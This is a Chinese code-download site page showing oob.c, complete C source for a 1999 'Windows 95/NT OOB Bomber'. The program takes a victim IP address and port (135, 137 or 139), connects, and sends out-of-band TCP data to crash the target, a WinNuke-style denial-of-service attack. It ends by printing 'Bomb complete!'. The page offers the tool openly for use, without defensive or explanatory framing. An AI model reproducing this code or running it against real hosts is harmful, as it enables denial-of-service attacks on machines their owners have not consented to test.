⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 oob.c

📁 IP Hacker的OOB炸弹源程序
💻 C
字号:
/*****************************************/
/* Windows 95/NT OOB Bomber              */
/* by Mr.Janker janker@371.net           */
/* http://janker.126.com                 */
/*****************************************/

#include <windows.h>
#include <winsock.h>
#include <stdio.h>

/* attack the IP Address */
char *IpAddr;

/* attack the port is 135 or 137 or 139 */
int IpPort;

/* the message will be showed on the victim machine */
char *Msg="You are bombed!";

void Banner(void)
{
  
	printf("Windows 95/NT OOB Bomber by Mr.Janker 1999.10.15\n\n");

}

int main(int argc, char *argv[])
{
    struct sockaddr_in sin;
	WSADATA wsaData;
    
	SOCKET sd;

	Banner();

	if(argc!=3) {

		printf("Usage  : OOB Ip Port\n\nExample: OOB 127.0.0.1 135");
		return 1;
	}

	IpAddr=argv[1];
	IpPort=atoi(argv[2]);

    /* Init the Winsock */
    if(WSAStartup(0x0101, &wsaData ))
    {
        printf("Init TCP/IP stack error!");
        return 1;
    }
    if(wsaData.wVersion != 0x0101)
    {
        printf("Winsock version is incorrect!");
        WSACleanup();
        return 1;
    }

    /* Create the local socket */
    if ((sd = socket (PF_INET, SOCK_STREAM, IPPROTO_IP)) == INVALID_SOCKET) {
        printf("Create socket error!");
        return 1;
    }

    /* Connect to the victim IP Address */
    sin.sin_family=AF_INET;
    sin.sin_addr.s_addr=inet_addr(IpAddr);
    sin.sin_port=htons((short)IpPort);
    if (connect (sd, (struct sockaddr *)&sin, sizeof (sin)) == SOCKET_ERROR) {
        printf("Connect the remote IP error!");
        closesocket (sd);
        WSACleanup();
        return 1;
    }

    /* Send the OOB data */
    if (send (sd, Msg, strlen(Msg), MSG_OOB) == SOCKET_ERROR ) {
        printf("Send data error!");
        closesocket (sd);
        WSACleanup();
        return 1;
    }
    closesocket (sd);

    WSACleanup();

    printf("Bomb complete!");

    return 0;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -